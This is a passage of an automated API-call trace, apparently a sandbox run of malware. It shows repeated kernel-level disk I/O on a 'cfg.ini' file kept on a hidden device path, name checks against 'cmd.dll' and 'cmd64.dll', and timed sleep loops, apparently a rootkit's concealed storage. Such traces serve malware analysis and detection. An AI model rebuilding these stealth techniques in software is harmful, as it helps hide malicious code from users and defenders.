MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.991] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.991] IdePortDispatch () returned 0x103 [0127.992] KeWaitForMutexObject () returned 0x0 [0127.992] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.992] KeLeaveCriticalRegion () [0127.992] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.992] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.992] KeEnterCriticalRegion () [0127.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.992] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca3000 [0127.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.992] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.992] IdePortDispatch () returned 0x103 [0127.992] KeWaitForMutexObject () returned 0x0 [0127.992] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.992] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.992] IdePortDispatch () returned 0x103 [0127.993] KeWaitForMutexObject () returned 0x0 [0127.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.993] KeLeaveCriticalRegion () [0127.993] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.993] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.993] KeEnterCriticalRegion () [0127.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.993] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.993] KeLeaveCriticalRegion () [0127.993] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.994] KeEnterCriticalRegion () [0127.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.994] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0127.994] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.994] KeLeaveCriticalRegion () [0127.994] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.994] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.994] KeEnterCriticalRegion () [0127.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.994] ExFreePoolWithTag (P=0xfffffa8003bfc010, Tag=0x0) [0127.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.994] KeLeaveCriticalRegion () [0127.994] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.994] ReleaseMutex (hMutex=0xf0) returned 1 [0127.994] Sleep (dwMilliseconds=0x124f80) [0128.004] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.004] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.005] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.005] KeEnterCriticalRegion () [0128.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.005] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.005] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.005] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.005] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.005] IdePortDispatch () returned 0x103 [0128.005] KeWaitForMutexObject () returned 0x0 [0128.005] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.005] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.005] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.005] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.005] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.005] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfd9c0 [0128.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.005] KeLeaveCriticalRegion () [0128.005] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.005] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.005] KeEnterCriticalRegion () [0128.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.005] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.005] KeLeaveCriticalRegion () [0128.005] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.006] KeEnterCriticalRegion () [0128.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.006] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.006] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.006] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.006] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.006] IdePortDispatch () returned 0x103 [0128.006] KeWaitForMutexObject () returned 0x0 [0128.006] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.006] KeLeaveCriticalRegion () [0128.006] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.006] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.006] KeEnterCriticalRegion () [0128.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.006] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca6000 [0128.006] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.006] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.006] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.006] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.006] IdePortDispatch () returned 0x103 [0128.007] KeWaitForMutexObject () returned 0x0 [0128.007] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.007] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.007] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.007] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.007] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.007] IdePortDispatch () returned 0x103 [0128.007] KeWaitForMutexObject () returned 0x0 [0128.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.007] KeLeaveCriticalRegion () [0128.007] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.008] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.008] KeEnterCriticalRegion () [0128.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.008] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.008] KeLeaveCriticalRegion () [0128.008] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.008] KeEnterCriticalRegion () [0128.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.008] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.008] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac9970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.008] KeLeaveCriticalRegion () [0128.008] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.008] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.008] KeEnterCriticalRegion () [0128.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.008] ExFreePoolWithTag (P=0xfffffa8003bfd9c0, Tag=0x0) [0128.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.008] KeLeaveCriticalRegion () [0128.008] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.008] ReleaseMutex (hMutex=0xf0) returned 1 [0128.008] Sleep (dwMilliseconds=0x124f80) [0128.027] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.028] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.028] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.028] KeEnterCriticalRegion () [0128.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.028] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.028] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.028] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.028] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.028] IdePortDispatch () returned 0x103 [0128.028] KeWaitForMutexObject () returned 0x0 [0128.028] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.028] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.028] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.028] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.028] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.028] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac9760 [0128.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.028] KeLeaveCriticalRegion () [0128.028] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.028] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.028] KeEnterCriticalRegion () [0128.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.028] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.028] KeLeaveCriticalRegion () [0128.029] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.029] KeEnterCriticalRegion () [0128.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.029] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.029] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.029] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.029] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.029] IdePortDispatch () returned 0x103 [0128.029] KeWaitForMutexObject () returned 0x0 [0128.029] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.029] KeLeaveCriticalRegion () [0128.029] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.029] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.029] KeEnterCriticalRegion () [0128.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.029] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cab000 [0128.029] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.029] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.029] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.029] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.029] IdePortDispatch () returned 0x103 [0128.030] KeWaitForMutexObject () returned 0x0 [0128.030] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.030] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.030] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.030] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.030] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.030] IdePortDispatch () returned 0x103 [0128.030] KeWaitForMutexObject () returned 0x0 [0128.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.030] KeLeaveCriticalRegion () [0128.030] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.031] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.031] KeEnterCriticalRegion () [0128.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.031] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.031] KeLeaveCriticalRegion () [0128.031] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.031] KeEnterCriticalRegion () [0128.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.031] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.031] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac9820, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.031] KeLeaveCriticalRegion () [0128.031] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.031] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.031] KeEnterCriticalRegion () [0128.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.031] ExFreePoolWithTag (P=0xfffffa8003ac9760, Tag=0x0) [0128.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.031] KeLeaveCriticalRegion () [0128.031] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.031] ReleaseMutex (hMutex=0xf0) returned 1 [0128.031] Sleep (dwMilliseconds=0x124f80) [0128.050] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.050] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.050] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.050] KeEnterCriticalRegion () [0128.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.050] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.050] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.050] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.050] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.050] IdePortDispatch () returned 0x103 [0128.051] KeWaitForMutexObject () returned 0x0 [0128.051] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.051] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.051] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.051] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.051] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.051] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c5fea90 [0128.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.051] KeLeaveCriticalRegion () [0128.051] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.051] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.051] KeEnterCriticalRegion () [0128.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.051] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.051] KeLeaveCriticalRegion () [0128.051] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.051] KeEnterCriticalRegion () [0128.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.051] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.051] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.051] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.051] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.051] IdePortDispatch () returned 0x103 [0128.052] KeWaitForMutexObject () returned 0x0 [0128.052] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.052] KeLeaveCriticalRegion () [0128.052] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.052] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.052] KeEnterCriticalRegion () [0128.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.052] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb0000 [0128.052] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.052] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.052] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.052] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.052] IdePortDispatch () returned 0x103 [0128.052] KeWaitForMutexObject () returned 0x0 [0128.052] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.052] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.053] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.053] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.053] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.053] IdePortDispatch () returned 0x103 [0128.053] KeWaitForMutexObject () returned 0x0 [0128.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.053] KeLeaveCriticalRegion () [0128.053] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.054] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 